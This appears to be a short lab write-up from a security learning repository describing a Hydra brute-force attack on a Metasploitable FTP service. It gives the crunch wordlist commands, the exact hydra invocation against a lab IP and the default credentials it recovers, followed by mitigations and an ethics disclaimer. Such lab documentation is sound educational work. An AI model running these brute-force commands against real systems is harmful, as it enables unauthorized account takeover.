To simulate a brute-force attack using Hydra with a custom-generated wordlist.
- Hydra
- Crunch
- Kali Linux
- Metasploitable
- Service: FTP
- IP Address: 192.168.222.131
- crunch 4 4 0123456789 -o wordlist.txt
- crunch 6 6 abc123 -o wordlist.txt
hydra -l msfadmin -P test.txt ftp://192.168.222.131
-l: specifies the username-P: specifies the password wordlistftp://: defines the target service
- Hydra executed multiple login attempts using the provided wordlist
- Initial attempts resulted in failed logins
- A valid credential pair was successfully discovered:
Username: msfadmin
Password: msfadmin
- This confirms that the target system is vulnerable to brute-force attacks due to weak authentication credentials
A brute-force attack was performed against an FTP service using Hydra with both a custom-generated wordlist and a common password dataset. Multiple failed login attempts were observed before successfully identifying valid credentials.
- Use strong passwords
- Enable account lockout
- Implement multi-factor authentication
This lab demonstrates how weak credentials can be compromised using brute-force attacks.
All activities, scans, exploitations, and simulations demonstrated in this repository were conducted in a controlled lab environment for educational and ethical purposes only. The target systems used were intentionally vulnerable systems owned for testing. Unauthorized testing against real-world systems is illegal and unethical.



